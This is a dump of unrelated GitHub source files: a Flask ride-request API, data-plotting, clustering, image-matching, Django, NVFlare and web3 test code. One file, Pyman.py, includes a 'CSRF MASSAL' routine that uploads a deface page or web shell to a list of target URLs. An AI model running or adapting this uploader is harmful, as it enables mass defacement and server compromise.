db.session.commit()\r\n\r\n all_stops = Stop.query.all()\r\n result = stops_schema.dump(all_stops)\r\n return jsonify(result)\r\n \r\n \r\n \r\n\r\n######################################################\r\n# R O U T E #\r\n######################################################\r\n\r\n@app.route('/route', methods=['GET'])\r\ndef get_route():\r\n all_route = Route.query.all()\r\n result = route_schema.dump(all_route)\r\n return jsonify(result)\r\n\r\n\r\n######################################################\r\n# L O G I N #\r\n######################################################\r\n\r\n@app.route('/users', methods=['GET'])\r\ndef get_users():\r\n all_users = Login.query.all()\r\n result = users_schema.dump(all_users)\r\n return jsonify(result)\r\n \r\n@app.route('/user/username/', methods=['GET'])\r\ndef get_user(name):\r\n all_users = Login.query.all()\r\n result = users_schema.dump(all_users)\r\n \r\n userFound = [user for user in result if user['username'] == name.replace(\"\\\"\",\"\").replace(\"\\'\",\"\") ]\r\n if (len(userFound)>0):\r\n return jsonify(userFound[0])\r\n return jsonify({\"message\": \"Usuario no encontrado \"+name.replace(\"\\\"\",\"\")})\r\n \r\n@app.route('/user', methods=['POST'])\r\ndef create_user():\r\n\r\n username = request.json['username']\r\n password = request.json['password']\r\n name = request.json['name']\r\n email = request.json['email']\r\n verified = False\r\n admin = \"read\"\r\n\r\n new_user = Login(username, password, name, email, verified, admin)\r\n db.session.add(new_user)\r\n db.session.commit()\r\n\r\n return user_schema.jsonify(new_user)\r\n \r\n@app.route('/user/', methods=[\"PUT\"])\r\ndef update_user(name):\r\n \r\n all_users = Login.query.all()\r\n result = users_schema.dump(all_users)\r\n usersFound = [user for user in result if user['username'] == name.replace(\"\\\"\",\"\").replace(\"\\'\",\"\") ]\r\n if (len(usersFound)>0):\r\n user = Login.query.get(usersFound[0]['id'])\r\n if 'username' in request.json: user.username = request.json['username']\r\n if 'password' in request.json: user.password = request.json['password']\r\n if 'email' in request.json: user.email = request.json['email']\r\n if 'name' in request.json: user.name = request.json['name']\r\n if 'verified' in request.json: user.verified = request.json['verified']\r\n if 'admin' in request.json: user.admin = request.json['admin']\r\n db.session.commit()\r\n return jsonify(usersFound[0])\r\n return jsonify({\"message\": \"ERROR 404: NOT FOUND\"})\r\n\r\n@app.route('/user/', methods=[\"DELETE\"])\r\ndef delete_user(name):\r\n all_users = Login.query.all()\r\n result = users_schema.dump(all_users)\r\n usersFound = [user for user in result if user['username'] == name.replace(\"\\\"\",\"\").replace(\"\\'\",\"\") ]\r\n if (len(usersFound)>0):\r\n user = Login.query.get(usersFound[0]['id'])\r\n db.session.delete(user)\r\n db.session.commit()\r\n return user_schema.jsonify(request)\r\n\r\n return jsonify({\"message\": \"ERROR 404: NOT FOUND\"})\r\n \r\n######################################################\r\n# R E Q U E S T S #\r\n######################################################\r\n\r\n@app.route('/requests', methods=['GET'])\r\ndef get_requests():\r\n all_requests = Request.query.all()\r\n result = requests_schema.dump(all_requests)\r\n return jsonify(result)\r\n \r\n@app.route('/requests/state/', methods=['GET'])\r\ndef get_requestsStates(state):\r\n all_requests = Request.query.all()\r\n result = requests_schema.dump(all_requests)\r\n requestsFound = []\r\n for value in result:\r\n if value['state'] == state:\r\n requestsFound.append(value)\r\n \r\n if (len(requestsFound)>0):\r\n return jsonify(requestsFound)\r\n return jsonify({\"message\": \"Peticiones no encontradas para el estado \"+state})\r\n\r\n@app.route('/requests/username/', methods=['GET'])\r\ndef get_requestsUsername(username):\r\n all_requests = Request.query.all()\r\n result = requests_schema.dump(all_requests)\r\n requestsFound = []\r\n for value in result:\r\n if value['username'] == username:\r\n requestsFound.append(value)\r\n \r\n if (len(requestsFound)>0):\r\n return jsonify(requestsFound)\r\n return jsonify({\"message\": \"Peticiones no encontradas para el usuario \"+username})\r\n \r\n@app.route('/request/id/', methods=['GET'])\r\ndef get_requestId(id):\r\n\r\n all_requests = Request.query.all()\r\n result = requests_schema.dump(all_requests)\r\n \r\n requestsFound = [req for req in result if req['id'] == id]\r\n if (len(requestsFound)>0):\r\n return jsonify(requestsFound[0])\r\n return jsonify({\"message\": \"Petición no encontrada \"+str(id)})\r\n \r\n \r\n@app.route('/request', methods=['POST'])\r\ndef create_request():\r\n\r\n username = request.json['username']\r\n pickupStop = request.json['pickupStop']\r\n arrivalStop = request.json['arrivalStop']\r\n state = \"recived\"\r\n timestamp = datetime.now()\r\n lat = request.json['lat']\r\n lng = request.json['lng']\r\n car = \"\"\r\n \r\n new_request = Request(username, pickupStop, arrivalStop, state, timestamp, lat, lng, car)\r\n db.session.add(new_request)\r\n db.session.commit()\r\n\r\n return request_schema.jsonify(new_request)\r\n \r\n@app.route('/request/', methods=[\"PUT\"])\r\ndef update_request(id):\r\n \r\n all_requests = Request.query.all()\r\n result = requests_schema.dump(all_requests)\r\n req_found = [req for req in result if req['id']==id ]\r\n \r\n if len(req_found)>0:\r\n req = Request.query.get(req_found[0]['id'])\r\n if 'username' in request.json: req.username = request.json['username']\r\n if 'pickupStop' in request.json: req.pickupStop = request.json['pickupStop']\r\n if 'arrivalStop' in request.json: req.arrivalStop = request.json['arrivalStop']\r\n if 'state' in request.json: req.state = request.json['state']\r\n if 'timestamp' in request.json: req.timestamp = request.json['timestamp']\r\n if 'lat' in request.json: req.lat = request.json['lat']\r\n if 'lng' in request.json: req.lng = request.json['lng']\r\n if 'car' in request.json: req.car = request.json['car']\r\n db.session.commit()\r\n return jsonify(req_found[0])\r\n return jsonify({\"message\": \"ERROR 404: NOT FOUND\"})\r\n \r\n@app.route('/request/', methods=[\"DELETE\"])\r\ndef delete_request(id):\r\n\r\n all_requests = Request.query.all()\r\n result = requests_schema.dump(all_requests)\r\n req_found = [req for req in result if req['id']==id ]\r\n \r\n if len(req_found)>0:\r\n req = Request.query.get(req_found[0]['id'])\r\n db.session.delete(req)\r\n db.session.commit()\r\n return request_schema.jsonify(req)\r\n\r\n return jsonify({\"message\": \"ERROR 404: NOT FOUND\"})\r\n \r\n \r\n\r\nif __name__ == \"__main__\":\r\n app.run(host=\"0.0.0.0\", port=\"4000\", debug=True)\r\n\r\n\r\n","repo_name":"PILOTO5G/melexcar","sub_path":"APP/API-docker/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":15590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73310512141","text":"pilihan = 1\npilihan = 2\n\nmtk = 1\nmtk = 2\nmtk = 3\nmtk = 4\nmtk = 5\nmtk = 6\n\n\nimport os\n \ntry:\n import requests\nexcept ImporError:\n os.system(\"pip install requests\")\n \n \n \n \n\n\nprint(50*\"_\")\nprint(\"Selamat Datang Di Tools Pyman\")\nprint(\"Author : Hilman.4TX\")\nprint(\"Komunitas : BL4CK.4TX\")\nprint(\"YT : HilmanXcode\")\nprint(\"Jika Ingin Keluar Tekan Ctrl+C Lalu Enter \")\nprint(\"Enjoy\")\nprint(50*\"_\")\n\nprint(50*\"_\")\nprint(\" Daftar Tools Di Bawah Ini : \")\nprint(\" 1.CSRF MASSAL\")\nprint(\" 2.Penghitungan Matematika\")\nprint(\" Keluar : CTRL+C Lalu Enter \")\nprint(50*\"_\")\n\npilihan = input(\"Masukkan Pilihan Anda : \")\npilihan = int(pilihan)\n\n\nif pilihan == 1:\n os.system(\"clear\")\n \n print(50*\"_\")\n print(\"Selamat Datang Di Tools Pyman.4TX\")\n print(\"Author : Hilman.4TX\")\n print(\"Komunitas : BL4CK.4TX\")\n print(\"YT : HilmanXcode\")\n print(\"Tipe Tools : CSRF Massal\")\n print(50*\"_\")\n target = str(input(\"Masukkan List Target : \"))\n target_list = open(target,'r').readlines()\n exploit = str(input(\"Masukkan Exploit nya : \"))\n tipe = str(input(\"Masukkan Tipe Post : \"))\n pepes = str(input(\"Masukkan File Deface/Shell : \"))\n \n \n \n for URL in target_list:\n URL=URL.strip()\n deface=open(pepes,\"r\")\n files={\n tipe:deface\n }\n try:\n x=requests.post(URL+\"/\"+exploit, files=files)\n if x.status_code == 200:\n print(URL+\" > Status Code 200\")\n else:\n print(URL+\" > Gagal Bro!\")\n \n \n except:\n print(URL+\" > Gagal Bro!\")\n \n \n \n\n \n\n\n\n\n\n\n\n\n\nelif pilihan == 2:\n os.system(\"clear\")\n \n for _ in range(100):\n print(50*\"_\")\n print(\"1.Penjumlahan\")\n print(\"2.Pembagian\")\n print(\"3.Perkalian\")\n print(\"4.Pengurangan\")\n print(\"5.Modulus\")\n print(\"6.Keluar\")\n print(50*\"_\")\n \n mtk = input(\"Masukkan Pilihan Anda : \")\n mtk = int(mtk)\n \n \n if mtk == 1:\n os.system(\"clear\")\n tam1 = input(\"Masukkan Angka Pertama : \")\n tam1 = int(tam1)\n tam2 = input(\"Masukkan Angka Kedua : \")\n tam2 = int(tam2)\n tasl = tam1 + tam2\n print(tasl)\n \n \n \n elif mtk == 2:\n os.system(\"clear\")\n kal1 = input(\"Masukkan Angka Pertama : \")\n kal1 = int(kal1)\n kal2 = input(\"Masukkan Angka Kedua : \")\n kal2 = int(kal2)\n khsl = kal1 // kal2\n print(khsl)\n \n elif mtk == 3:\n os.system(\"clear\")\n gi1 = input(\"Masukkan Angka Pertama : \")\n gi1 = int(gi1)\n gi2 = input(\"Masukkan Angka Kedua : \")\n gi2 = int(gi2)\n ghsl = gi1 * gi2\n print(ghsl)\n \n \n elif mtk == 4:\n os.system(\"clear\")\n rang1 = int(input(\"Masukkan Angka Pertama : \"))\n rang2 = int(input(\"Masukkan Angka Kedua : \"))\n rasl = rang1 - rang2\n print(rasl)\n \n \n elif mtk == 5:\n os.system(\"clear\")\n dul1 = int(input(\"Masukkan Angka Pertama : \"))\n dul2 = int(input(\"Masukkan Angka Kedua : \"))\n duhsl = dul1 % dul2\n print(duhsl)\n \n elif mtk == 6:\n os.system(\"clear\")\n os.system(\"python Pyman.py\")\n \n\n\n\n\n\n\n\n","repo_name":"hilmanXcode/Tools-Pyman.4TX","sub_path":"Pyman.py","file_name":"Pyman.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"71067677583","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport re\nimport json\n\nNROWS = None #100\nMAX_MINUTES_DELAY = 10\nYEARS_FROM = 2017\n\ndef load_data():\n data = json.load(open('data.json', 'rb'))\n return data\n\ndef preprocess(data: dict, nrows=None) -> pd.DataFrame:\n row_data = data[\"Rows\"]\n nrows = nrows or len(row_data)\n df = pd.concat([pd.json_normalize(row[\"Cell\"]).transpose().loc[[\"Value\"]] for row in row_data[:nrows]], axis=0)\n df.columns = [\"year\", \"hour\", \"punctuality_level\", \"value\"]\n df[\"year\"] = df[\"year\"].astype(int)\n df[\"value\"] = df[\"value\"].map(lambda v: v.replace(\",\", \".\")).astype(float)\n df[\"max_minutes_delay\"] = None\n mask_on_time = df[\"punctuality_level\"] == \"Ankomna enligt tidtabell\"\n df.loc[mask_on_time, \"max_minutes_delay\"] = 0\n df.loc[~mask_on_time, \"max_minutes_delay\"] = df.loc[~mask_on_time, \"punctuality_level\"].map(lambda pl: int(re.findall(r\"\\d{1,2}\", pl)[0])) \n df = df[[\"year\", \"hour\", \"max_minutes_delay\", \"value\"]]\n df = df.reset_index(drop=True)\n return df\n\ndata = load_data()\ndf = preprocess(data, nrows=NROWS)\ndf = df[df[\"year\"] >= YEARS_FROM]\nprint(df)\n\n\nsns.lineplot(data=df[df[\"max_minutes_delay\"]==MAX_MINUTES_DELAY], \n x=\"year\", y=\"value\", hue=\"hour\", marker=\"o\").set(\n title=f\"Sammanvägt tillförlitlighetsmått (STM), max {MAX_MINUTES_DELAY:2d} minuter försening\",\n xlabel=\"År\",\n ylabel=\"STM\"\n )\nplt.legend(loc='upper left', title=\"Ankomsttimme\")\nplt.show()\n\n\n","repo_name":"sidebo/trains","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21677562460","text":"import os\n\nimport cv2\nimport numpy as np\nimport pyautogui\nimport matplotlib.pyplot as plt\nfrom win32api import GetSystemMetrics\n\ndef getCord(img,delta):\n x0,x1,y0,y1=0,0,0,0\n w,h =GetSystemMetrics(0),GetSystemMetrics(1)\n if(img.x0Cord-delta>=0):\n x0 = img.x0Cord-delta\n else:\n x0 = 0\n\n if (img.x1Cord + delta <= w):\n x1 = img.x1Cord + delta\n else:\n x1 = w\n\n if (img.y0Cord - delta >= 0):\n y0 = img.y0Cord - delta\n else:\n y0 = 0\n\n if (img.y1Cord + delta <= h):\n y1 = img.y1Cord + delta\n else:\n y1 = h\n\n return x0,x1,y0,y1\n\n\ndef tempScreenShot(img):\n x0,x1,y0,y1 = getCord(img,10)\n myScreenshot = pyautogui.screenshot()\n myScreenshot = myScreenshot.crop((x0, y0, x1, y1))\n return myScreenshot\n\ndef photoRec(templatePath,photo, templateImage):\n photo = np.array(photo)\n gray_img = cv2.cvtColor(photo, cv2.COLOR_BGR2GRAY)\n template = cv2.imread(templatePath + \"ScreenShots\\\\\" + templateImage.img,0)\n w, h = template.shape[::-1]\n print('my Screenshot height:{} , temp Screenshot height:{}'.format(template.shape[0],gray_img.shape[0]))\n print('my Screenshot width:{} , temp Screenshot width:{}'.format(template.shape[1],gray_img.shape[1]))\n print('image name:{}'.format(templateImage.img))\n\n result = cv2.matchTemplate(gray_img, template, cv2.TM_CCOEFF_NORMED)\n loc = np.where(result >= 0.6)\n flag=0\n for pt in zip(*loc[::-1]):\n cv2.rectangle(photo, pt, (pt[0] + w, pt[1] + h), (0, 255, 0), 3)\n flag = 1\n cv2.imwrite(os.path.join(templatePath , 'Test Image\\\\ ' + templateImage.img),photo)\n \n\n\n if (flag==1):\n return True\n else:\n return False\n","repo_name":"ariel22793/Final-Project","sub_path":"ImgRecog.py","file_name":"ImgRecog.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31752626649","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx1 = np.random.normal(25,5,1000)\ny1 = np.random.normal(25,5,1000)\n\nx2 = np.random.normal(55,5,1000)\ny2 = np.random.normal(60,5,1000)\n\nx3 = np.random.normal(55,5,1000)\ny3 = np.random.normal(15,5,1000)\n\nx = np.concatenate((x1,x2,x3),axis=0)\ny = np.concatenate((y1,y2,y3),axis=0)\n\ndictionary = {'x':x,'y':y}\n\ndata = pd.DataFrame(dictionary)\n\n# plt.scatter(x1,y1)\n# plt.scatter(x2,y2)\n# plt.scatter(x3,y3)\n# plt.show()\n\nfrom sklearn.cluster import KMeans\nwcss = []\n\nfor k in range(1,15):\n kmeans = KMeans(n_clusters=k)\n kmeans.fit(data)\n wcss.append(kmeans.inertia_)\n\n# plt.plot(range(1,15),wcss)\n# plt.xlabel(\"number of clusters\")\n# plt.ylabel(\"wcss\")\n# plt.show()\n\nkmeans2 = KMeans(n_clusters=3)\nclusters = kmeans2.fit_predict(data)\n\ndata['label'] = clusters\n\nplt.scatter(data.x[data['label']==0],data.y[data['label']==0],color='blue')\nplt.scatter(data.x[data['label']==1],data.y[data['label']==1],color='red')\nplt.scatter(data.x[data['label']==2],data.y[data['label']==2],color='green')\nplt.scatter(kmeans2.cluster_centers_[:,0],kmeans2.cluster_centers_[:,1],color='yellow')\n\nplt.show()","repo_name":"sknrk/Machine-Learning-Training","sub_path":"k means clustering/kmeansclustering.py","file_name":"kmeansclustering.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"10947249300","text":"from ToolBar import *\n\nfrom Gui.Widgets.PointOfInterestSelectionComboBox import *\n\nfrom Model.PointOfInterest import *\n\nclass PointOfInterestToolBar(ToolBar):\n currentPointOfInterestChanged = pyqtSignal(PointOfInterest)\n def __init__(self, title, parent):\n ToolBar.__init__(self, title, parent)\n self.project=None\n self.pointOfInterestsW = PointOfInterestSelectionComboBox(self)\n self.pointOfInterestsW.currentDatasetChanged.connect(self.onPointOfInterestChange)\n self.addWidget(QLabel(self.tr(\"Points Of Interest:\"), self))\n self.addWidget(self.pointOfInterestsW)\n self.setEnabled(False)\n def onPointOfInterestChange(self, p):\n self.currentPointOfInterestChanged.emit(p)\n def onProjectChange(self, p):\n self.project = p\n self.pointOfInterestsW.setProject(p)\n self.setEnabled(self.hasProject())\n def hasProject(self):\n return self.project is not None\n \n","repo_name":"BackupTheBerlios/profilelogger-svn","sub_path":"trunk/src/Gui/ToolBars/PointOfInterestToolBar.py","file_name":"PointOfInterestToolBar.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70598133584","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n #url(r'^$',views.index,name='index'),\n url(r'^index$',views.IndexView.as_view(),name='index'), #首页\n url(r'^goods/(?P\\d+)$',views.DetailView.as_view(),name='detail'), #详情页 #?P的意思就是命名一个名字为value的组，匹配规则符合后面的\\d+\n url(r'^list/(?P\\d+)/(?P\\d+)$',views.ListView.as_view(),name='list'), #列表页\n\n]\n","repo_name":"cuishao23/tiantian","sub_path":"dailyfresh/goods/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29639459432","text":"new_line = \"\\n\"\nimportant_steps = [20, 60, 100, 140, 180, 220]\n\n\nclass Instruction:\n def __init__(self, line):\n self.line = line\n self.opcode = line.split()[0]\n self.steps = 1\n if self.opcode == \"noop\":\n self.operand = 0\n else:\n self.operand = int(line.split()[1])\n self.steps = 2\n\n\nclass CathodeRayTube:\n def __init__(self, instructions):\n self.cycle = 1\n self.line = 0\n self.X = 1\n self.output = \"\"\n self.instructions = [Instruction(line) for line in instructions.splitlines()]\n\n def step(self, cycles=1):\n for _ in range(cycles):\n self._step()\n\n def _step(self):\n self._update_output()\n operation = self.instruction\n operation.steps -= 1\n if operation.steps == 0:\n self.line += 1\n self.X += operation.operand\n self.cycle += 1\n\n def _signal_strength(self):\n return self.cycle * self.X\n\n def _instruction(self):\n return self.instructions[self.line]\n\n def _sprite(self):\n pos = self.X\n return [pos - 1, pos, pos + 1]\n\n def sum_of_signal_strengths(self):\n strengths = []\n steps = important_steps[-1]\n for _ in range(steps):\n self._step()\n if self.cycle in important_steps:\n strengths.append(self.signal_strength)\n return sum(strengths)\n\n def _update_output(self):\n pos = self.cycle - 1\n if pos % 40 in self.sprite:\n self.output += \"#\"\n else:\n self.output += \".\"\n if self.cycle % 40 == 0:\n self.output += new_line\n\n instruction = property(_instruction)\n signal_strength = property(_signal_strength)\n sprite = property(_sprite)\n","repo_name":"waeltken/adventofcode_2022","sub_path":"day10_cathode_ray_tube/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15402446195","text":"\"\"\"\nSearch a 2D Matrix\n\nWrite an efficient algorithm that searches for a value in an m x n matrix. This matrix has the following properties:\n\nIntegers in each row are sorted from left to right.\nThe first integer of each row is greater than the last integer of the previous row.\nExample 1:\n\nInput:\nmatrix = [\n [1, 3, 5, 7],\n [10, 11, 16, 20],\n [23, 30, 34, 50]\n]\ntarget = 3\nOutput: true\nExample 2:\n\nInput:\nmatrix = [\n [1, 3, 5, 7],\n [10, 11, 16, 20],\n [23, 30, 34, 50]\n]\ntarget = 13\nOutput: false\n\"\"\"\n\n\"\"\"\nTime: O(N)\nSpace: O(1)\n\"\"\"\nclass Solution:\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n \n if not len(matrix) or not len(matrix[0]):\n return False\n i, j = 0, len(matrix[0])-1\n \n while i < len(matrix) and j >= 0:\n if matrix[i][j] == target:\n return True\n if matrix[i][j] > target:\n j -= 1\n elif matrix[i][j] < target:\n i += 1\n \n return False\n\n","repo_name":"Bennyhwanggggg/Algorithm-and-Data-Structures-and-Coding-Challenges","sub_path":"Challenges/search2DMatrix.py","file_name":"search2DMatrix.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"40441146503","text":"import os\nimport shutil\nimport tempfile\n\nimport pytest\n\nfrom nvflare.dashboard.application import init_app\n\nTEST_USER = \"admin@test.com\"\nTEST_PW = \"testing1234\"\n\n\n@pytest.fixture(scope=\"session\")\ndef app():\n\n web_root = tempfile.mkdtemp(prefix=\"nvflare-\")\n sqlite_file = os.path.join(web_root, \"db.sqlite\")\n if os.path.exists(sqlite_file):\n os.remove(sqlite_file)\n os.environ[\"DATABASE_URL\"] = f\"sqlite:///{sqlite_file}\"\n os.environ[\"NVFL_CREDENTIAL\"] = f\"{TEST_USER}:{TEST_PW}\"\n app = init_app()\n app.config.update(\n {\n \"TESTING\": True,\n \"ENV\": \"prod\", # To get rid of the performance warning\n }\n )\n\n yield app\n\n # Cleanup\n shutil.rmtree(web_root, ignore_errors=True)\n\n\n@pytest.fixture(scope=\"session\")\ndef client(app):\n return app.test_client()\n\n\n@pytest.fixture(scope=\"session\")\ndef access_token(client):\n response = client.post(\"/api/v1/login\", json={\"email\": TEST_USER, \"password\": TEST_PW})\n assert response.status_code == 200\n return response.json[\"access_token\"]\n\n\n@pytest.fixture(scope=\"session\")\ndef auth_header(access_token):\n return {\"Authorization\": \"Bearer \" + access_token}\n","repo_name":"NVIDIA/NVFlare","sub_path":"tests/unit_test/dashboard/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":455,"dataset":"github-code","pt":"47"} +{"seq_id":"31890357422","text":"import pandas as pd\nimport MDAnalysis.analysis.hbonds\nfrom analysis import AllAtOnceAnalysis\n\nclass HBonds(AllAtOnceAnalysis):\n\n def __init__(self, selection_str1=\"protein\", selection_str2=\"protein\"):\n \"\"\" Hydrogen bonds are computed for all frames, and we return\n the frequency per type for that trajectory. Using default dist/angle\n for CHARMM atom names.\n \"\"\"\n self._selection_str1 = selection_str1\n self._selection_str2 = selection_str2\n\n def results(self):\n h = MDAnalysis.analysis.hbonds.HydrogenBondAnalysis(self.u, self._selection_str1, self._selection_str2,\n distance=3.0, angle=120.0, step=2, start=None, stop=None)\n h.run()\n h.generate_table()\n df = pd.DataFrame(h.count_by_type())\n df[\"donor_resnm\"] = df[\"donor_resnm\"].astype(str)\n df[\"donor_heavy_atom\"] = df[\"donor_heavy_atom\"].astype(str)\n df[\"donor_atom\"] = df[\"donor_atom\"].astype(str)\n df[\"acceptor_resnm\"] = df[\"acceptor_resnm\"].astype(str)\n df[\"acceptor_atom\"] = df[\"acceptor_atom\"].astype(str)\n return df\n","repo_name":"cing/MDGenesis","sub_path":"mdgenesis/modules/hbonds.py","file_name":"hbonds.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"33777093832","text":"from hexbytes import HexBytes\nfrom unittest import TestCase\n\nfrom web3_policy_engine.contract_common import InputJsonRpc, ParseError\nfrom web3_policy_engine.parse_transaction import (\n Parser,\n MessageParser,\n TransactionParser,\n parse,\n)\nfrom web3_policy_engine.loader import method_signature\n\nfrom .utils_for_tests import make_basic_contract, make_contract_multple_args\n\n\nclass TestParser(TestCase):\n def test_raw_json_bad_jsonrpc(self):\n \"\"\"Make sure that an error is raised if a transaction is built from a bad json rpc\"\"\"\n parser = Parser({})\n self.assertRaises(ParseError, parser.raw_json_rpc_to_input, {})\n self.assertRaises(ParseError, parser.raw_json_rpc_to_input, {\"params\": []})\n self.assertRaises(\n ParseError, parser.raw_json_rpc_to_input, {\"params\": [{\"to\": \"0x0\"}]}\n )\n self.assertRaises(\n ParseError,\n parser.raw_json_rpc_to_input,\n {\"eth_method\": \"eth_signTransaction\"},\n )\n\n def test_parse_bad_eth_method(self):\n \"\"\"Make sure that an error is raised if a transaction is built from a bad json rpc\"\"\"\n parser = Parser({})\n self.assertRaises(\n ParseError,\n parser.parse,\n {\"method\": \"eth_signTransaction\", \"params\": [{\"to\": \"0x0\"}]},\n )\n\n def test_parse_basic(self):\n contract = make_basic_contract()\n contract_address = HexBytes(\"0x1234123412341234123412341234123412341234\")\n tx_parser = TransactionParser({contract_address: contract})\n parser = Parser({\"eth_sendTransaction\": tx_parser})\n payload = method_signature(contract.functions.testmethod1)\n payload += HexBytes(\n \"0x0000000000000000000000000000000000000000000000000000000000000006\"\n )\n\n json_rpc = {\n \"method\": \"eth_sendTransaction\",\n \"params\": [\n {\n \"data\": payload,\n \"to\": contract_address.hex(),\n }\n ],\n }\n res = parser.parse(json_rpc)\n\n self.assertEqual(res.contract_type, contract) # type: ignore\n self.assertEqual(res.contract_method.fn_name, \"testmethod1\") # type: ignore\n self.assertEqual(len(res.contract_method_args.keys()), 1) # type: ignore\n self.assertEqual(res.contract_method_args[\"_arg1\"], 6) # type: ignore\n\n def test_parse_function_basic(self):\n contract = make_basic_contract()\n contract_address = \"0x1234123412341234123412341234123412341234\"\n contract_addresses = {contract_address: contract}\n\n payload = method_signature(contract.functions.testmethod1)\n payload += HexBytes(\n \"0x0000000000000000000000000000000000000000000000000000000000000006\"\n )\n\n json_rpc = {\n \"method\": \"eth_sendTransaction\",\n \"params\": [\n {\n \"data\": payload,\n \"to\": contract_address,\n }\n ],\n }\n res = parse(json_rpc, contracts=contract_addresses)\n\n self.assertEqual(res.contract_type, contract) # type: ignore\n self.assertEqual(res.contract_method.fn_name, \"testmethod1\") # type: ignore\n self.assertEqual(len(res.contract_method_args.keys()), 1) # type: ignore\n self.assertEqual(res.contract_method_args[\"_arg1\"], 6) # type: ignore\n\n\nclass TestTransactionParser(TestCase):\n def build_input_json_rpc(\n self, data: str, to: str = \"0x1234123412341234123412341234123412341234\"\n ) -> InputJsonRpc:\n _from = \"0x573dd41c9e904f908d14f7150438bc7dc210baa9\"\n gas_price = \"0x70657586c\"\n json_rpc = InputJsonRpc(\n method=\"eth_sendTransaction\",\n params=[\n {\n \"from\": _from,\n \"data\": data,\n \"gasPrice\": gas_price,\n \"to\": to,\n }\n ],\n )\n return json_rpc\n\n def test_get_params(self):\n \"\"\"Test converting a json rpc request to an InputTransaction\"\"\"\n data = \"0x93e3953900000000000000000000000000000000000000000000000000000000\"\n json_rpc = self.build_input_json_rpc(data)\n parser = TransactionParser({})\n input_transaction = parser.get_params(json_rpc)\n self.assertEqual(input_transaction.to, json_rpc.params[0][\"to\"])\n self.assertEqual(input_transaction.data, data)\n\n def test_transaction_basic(self):\n \"\"\"Test parsing a transaction for a simple contract method with one input\"\"\"\n contract = make_basic_contract()\n parser = TransactionParser(\n {HexBytes(\"0x1234123412341234123412341234123412341234\"): contract}\n )\n\n # build valid raw transaction\n payload = method_signature(contract.functions.testmethod1)\n payload += HexBytes(\n \"0x0000000000000000000000000000000000000000000000000000000000000006\"\n )\n\n json_rpc = self.build_input_json_rpc(payload.hex())\n res = parser.parse(json_rpc)\n\n self.assertEqual(res.contract_type, contract)\n self.assertEqual(res.contract_method.fn_name, \"testmethod1\")\n self.assertEqual(len(res.contract_method_args.keys()), 1)\n self.assertEqual(res.contract_method_args[\"_arg1\"], 6)\n\n def test_transaction_multiple_args(self):\n \"\"\"Test parsing a transaction for contract methods with several arguments\"\"\"\n contract = make_contract_multple_args(\n [\"uint256\", \"address\", \"address\", \"uint256\"]\n )\n parser = TransactionParser(\n {HexBytes(\"0x1234123412341234123412341234123412341234\"): contract}\n )\n\n # build valid raw transaction\n payload = method_signature(contract.functions.testmethod1)\n payload += HexBytes(\n \"0x0000000000000000000000000000000000000000000000000000000000000001\"\n )\n payload += HexBytes(\n \"0x0000000000000000000000002222222222222222222222222222222222222222\"\n )\n payload += HexBytes(\n \"0x0000000000000000000000003333333333333333333333333333333333333333\"\n )\n payload += HexBytes(\n \"0x0000000000000000000000000000000000000000000000000000000000000004\"\n )\n\n json_rpc = self.build_input_json_rpc(payload.hex())\n res = parser.parse(json_rpc)\n\n self.assertEqual(res.contract_type, contract)\n self.assertEqual(res.contract_method.fn_name, \"testmethod1\")\n self.assertEqual(len(res.contract_method_args.keys()), 4)\n self.assertEqual(res.contract_method_args[\"_arg1\"], 1)\n self.assertEqual(\n res.contract_method_args[\"_arg2\"],\n \"0x2222222222222222222222222222222222222222\",\n )\n self.assertEqual(\n res.contract_method_args[\"_arg3\"],\n \"0x3333333333333333333333333333333333333333\",\n )\n self.assertEqual(res.contract_method_args[\"_arg4\"], 4)\n\n # build invalid raw transaction, has first argument, but no subsequent ones\n payload = method_signature(contract.functions.testmethod1)\n payload += HexBytes(\n \"0x0000000000000000000000000000000000000000000000000000000000000001\"\n )\n json_rpc = InputJsonRpc(\n method=\"\",\n params=[\n {\n \"to\": \"0x1234123412341234123412341234123412341234\",\n \"data\": payload.hex(),\n }\n ],\n )\n\n self.assertRaises(ParseError, parser.parse, json_rpc)\n\n def test_transaction_invalid_contract(self):\n \"\"\"Test parsing a transaction for an unrecognized contract\"\"\"\n contract = make_basic_contract()\n parser = TransactionParser(\n {HexBytes(\"0x1234123412341234123412341234123412341234\"): contract}\n )\n\n # build invalid raw transaction, no contract at address 0x2222...\n payload = method_signature(contract.functions.testmethod1)\n payload += HexBytes(\n \"0x0000000000000000000000000000000000000000000000000000000000000006\"\n )\n json_rpc = self.build_input_json_rpc(\n payload.hex(), \"0x2222222222222222222222222222222222222222\"\n )\n\n self.assertRaises(ParseError, parser.parse, json_rpc)\n\n def test_transaction_invalid_method_name(self):\n 